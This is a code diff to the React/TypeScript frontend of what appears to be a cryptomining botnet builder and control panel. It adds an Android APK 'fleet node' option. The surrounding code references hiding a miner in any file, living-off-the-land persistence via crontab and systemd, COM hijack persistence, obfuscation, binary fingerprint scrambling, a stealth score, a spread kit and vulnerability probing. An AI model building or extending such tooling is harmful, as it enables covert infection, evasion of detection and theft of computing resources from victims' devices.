<ForgeLockedHint meta={fieldMeta.apk_mode} />
|
||||
</div>
|
||||
{form.apk_mode && (
|
||||
<p className="form-hint">
|
||||
Install the forged APK on a phone or tablet. Grant permissions on first open — the node joins your fleet as{' '}
|
||||
<code>platform=android</code> (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
@@ -2281,7 +2309,7 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
|
||||
{deliverableType !== 'spread_kit' && (
|
||||
{deliverableType !== 'spread_kit' && !form.apk_mode && (
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion — Hide miner in any file"
|
||||
|
||||
@@ -30,6 +30,7 @@ import RiskBadge from '../components/Fleet/RiskBadge';
|
||||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||||
import { parseTierReport } from '../types/lotl';
|
||||
import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
|
||||
import { platformIcon } from '../help/platform';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
@@ -303,15 +304,6 @@ function importantServices(svcs: AgentService[]): AgentService[] {
|
||||
return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
|
||||
}
|
||||
|
||||
function platformIcon(platform?: string): string {
|
||||
if (!platform) return '⬡';
|
||||
const p = platform.toLowerCase();
|
||||
if (p.includes('win')) return '⊞';
|
||||
if (p.includes('linux')) return '🐧';
|
||||
if (p.includes('darwin')) return '';
|
||||
return '⬡';
|
||||
}
|
||||
|
||||
let _lineId = 0;
|
||||
function mkId() { return `tl-${++_lineId}`; }
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@ import {
|
||||
buildLotlTimelineModel,
|
||||
resolveLotlTierOrder,
|
||||
} from '../help/lotlTimeline';
|
||||
import { isAndroidPlatform } from '../help/platform';
|
||||
import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance';
|
||||
import { parseAccessDepthServerPolicy } from '../help/accessDepth';
|
||||
import type { AIDecisionRecord } from '../types';
|
||||
@@ -117,9 +118,12 @@ export default function LotlTimelinePage() {
|
||||
|
||||
const timelineModel = useMemo(() => {
|
||||
if (!selectedAgent) return null;
|
||||
const order = isAndroidPlatform(selectedAgent.platform)
|
||||
? resolveLotlTierOrder(undefined, selectedAgent)
|
||||
: tierOrder;
|
||||
return buildLotlTimelineModel(
|
||||
selectedAgent,
|
||||
tierOrder,
|
||||
order,
|
||||
selectedAgent.lotl_attempts ?? [],
|
||||
[],
|
||||
selectedAgent.atlas_skips ?? [],
|
||||
|
||||
@@ -2,6 +2,7 @@ import { useState, useEffect, useMemo } from 'react';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
import { formatHashrate } from '../help/fleetFilters';
|
||||
import { platformIcon } from '../help/platform';
|
||||
import './ROIPage.css';
|
||||
|
||||
// ── helpers ───────────────────────────────────────────────────────────────
|
||||
@@ -15,14 +16,6 @@ function fmtUSD(n: number): string {
|
||||
return `$${n.toFixed(2)}`;
|
||||
}
|
||||
|
||||
function platformIcon(platform?: string): string {
|
||||
const p = (platform ?? '').toLowerCase();
|
||||
if (p.includes('win')) return '⊞';
|
||||
if (p.includes('linux')) return '🐧';
|
||||
if (p.includes('darwin')) return '';
|
||||
return '⬡';
|
||||
}
|
||||
|
||||
function effBadge(pct: number): { label: string; cls: string } {
|
||||
if (pct >= 75) return { label: 'TOP', cls: 'top' };
|
||||
if (pct >= 40) return { label: 'MID', cls: 'mid' };
|
||||
|
||||
@@ -560,8 +560,12 @@ export interface BuildRequest {
|
||||
com_hijack_persist?: boolean;
|
||||
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
|
||||
linux_lotl_mode?: 'systemd_run_user' | 'crontab' | 'both' | 'off';
|
||||
target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
|
||||
target_os?: 'windows' | 'linux' | 'darwin' | 'universal' | 'android';
|
||||
target_arch?: string;
|
||||
/** Android fleet-node APK (mining off by default). */
|
||||
apk_mode?: boolean;
|
||||
apk_agent_name?: string;
|
||||
mining_disabled?: boolean;
|
||||
spread_kit?: boolean;
|
||||
obfuscate?: boolean;
|
||||
/** Post-forge PE overlay + timestamp uniquification (Sigil Scramble). */
|
||||
@@ -647,6 +651,7 @@ export interface BuildResponse {
|
||||
sigil_scramble?: boolean;
|
||||
binary_fingerprint?: string;
|
||||
stealth_score?: number;
|
||||
artifact_path?: string;
|
||||
}
|
||||
|
||||
export interface PathTraceHop {
|
||||
|
||||
@@ -42,6 +42,9 @@ const TIER_LABELS: Record<string, string> = {
|
||||
stratum: 'Stratum',
|
||||
vuln_recon: 'Vuln Recon',
|
||||
vuln_probe: 'Vuln Recon',
|
||||
foreground_service: 'Foreground Service',
|
||||
cpu_inprocess: 'In-Process CPU',
|
||||
desktop_tiers_skipped: 'Desktop tiers skipped',
|
||||
};
|
||||
|
||||
export function formatLotlTierLabel(tier: string): string {
|
||||
|
||||
Reference in New Issue
Block a user